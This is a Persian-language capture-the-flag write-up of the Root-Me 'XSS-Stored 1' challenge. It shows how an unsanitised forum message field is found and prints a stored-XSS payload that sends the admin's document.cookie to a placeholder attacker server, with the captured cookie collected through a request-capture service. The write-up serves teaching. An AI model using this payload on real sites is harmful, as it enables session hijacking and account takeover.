حمله Cross Site Scripting(XSS) Stored در محیط آزمایشی

تاریخ انتشار : 1399/10/21 | نویسنده : kernel-panic

حمله Cross Site Scripting(XSS) Stored در محیط آزمایشی

 

 

مقدمه

 

در این مقاله قصد داریم یکی از Challenge های محیط آزمایشی Root-Me که مرتبط با حمله ی Cross Site Scripting (XSS) از نوع Stored می باشد را بررسی کنیم.

حملات Cross-Site Scripting (XSS) نوعی تزریق است که در آن اسکریپت های مخرب به وب سایت های معتبر تزریق می شوند. حملات XSS زمانی اتفاق می افتد که مهاجم از یک برنامه وب برای ارسال کد مخرب، معمولاً به شکل اسکریپت سمت مرورگر، برای کاربر دیگر استفاده می کند. توضیحات حمله ی XSS و انواع آن، به طور کامل در این بخش تشریح شده است.

 

سناریو

 

هدف از challenge مذکور، یافتن مقدار Cookie Session مرتبط با حساب admin می باشد. Challenge مذکور، مطابق تصویر زیر در قسمت Challenges → Web – Client قرار دارد.

rnpg-RootMe-web-client

 

سپس XSS-Stored1 را انتخاب نمایید. همانطور که در تصویر زیر قابل مشاهده می باشد، challenge مذکور، مربوط به یک Forum می باشد که با وارد نمودن “Title” و “Message”، می توان یک post ارسال نمود و در صورتی که Admin، مطلب ارسالی را ببیند، پیام “Your message have been read” نمایش داده می شود.

rnpg-RootMe-xss-stored

 

در ابتدا می بایست به شناسایی XSS در این صفحه بپردازیم. مطابق تصویر زیر، با وارد نمودن یک کاراکتر خاص برای قسمت Title و یک متن برای قسمت Message و ارسال آن، متوجه می شویم که پیام نوشته شده ی ما، ارسال نمی شود. دلیل آن، sanitize شدن ورودی قسمت Title می باشد.

rnpg-RootMe-xss-stored

 

حال برای آن که متوجه وجود و یا عدم وجود مکانیزم sanitize در قسمت Message بشویم، این بار، یک کاراکتر خاص را در قسمت Message و یک متن ساده را در قسمت Title وارد می کنیم و سپس ارسال می کنیم. با ارسال شدن آن، متوجه عدم sanitize شدن مقادیر ورودی قسمت Message می شویم.

 

در ادامه، برای بررسی بیشتر، یک Script ساده در قسمت Message وارد و سپس ارسال می کنیم. همانطورکه در تصویر زیر قابل مشاهده می باشد، Script مذکور اجرا شده است و از آن جایی که با هر بار refresh نمودن صفحه، Script مذکور اجرا می شود، متوجه می شویم که XSS کشف شده از نوع Stored می باشد.

rnpg-RootMe-xss-stored-challenge

 

حال می بایست با استفاده از XSS – Stored کشف شده، نسبت به یافتن و استخراج Session Cookie مرتبط با حساب Admin، اقدام نماییم. Payload زیر با Redirect کردن قربانی توسط image tag به Web server ای که مهاجم از قبل آن را راه اندازی نموده است، نسبت به استخراج مقدار Cookie توسط Web server، اقدام می شود.

<script>document.write('<img src="<Attacker’s web server> ?cookie=' + document.cookie + '" />');</script>

قبل از اجرای Payload مذکور، مهاجم می بایست یک Web server راه اندازی نماید به طوری که تمامی در خواست های ارسالی به سمت آن، Intercept شود تا بتوانیم مقدار Cookie را از درخواستِ Intercept شده، استخراج نماییم. در این پست، مهاجم از سرویس Online ای استفاده می نماید که بعد از ثبت نام، یک Web server برای کاربر می سازد و درخواست های ارسالی به آدرس سرور ساخته شده را دریافت و در پنل مربوطه، نمایش می دهد. این سرویس از آدرس زیر قابل دسترس می باشد.

https://pipedream.com/

rnpg-xss-stored-RootMe

 

در ادامه، مهاجم آدرس ساخته شده ی فوق را در payload مذکور قرار می دهد و سپس آن را در قسمت Message مطابق تصویر زیر وارد و سپس ارسال می کند. با ارسال شدن آن، مهاجم برای لحظاتی صبر می کند تا Admin مطلب ارسال شده در Forum را ببیند. با وارد شدن admin به این صفحه، به صورت خودکار Script ذخیره شده اجرا می شود و درخواستی به آدرس موجود در payload، از سمت مرورگر Admin، ارسال می شود.

rnpg-RootMe-xss-stored

 

همانطور که در تصویر زیر قابل مشاهده می باشد، درخواست ارسالی توسط Admin دریافت شده است و مقدار Session cookie حساب Admin در آن مشخص می باشد.

rnpg-xss-stored

 

با وارد نمودن مقدار به دست آمده در بخش validation، حل challenge مذکور تایید می شود.

rnpg-RootMe-challenge

 

منبع

https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1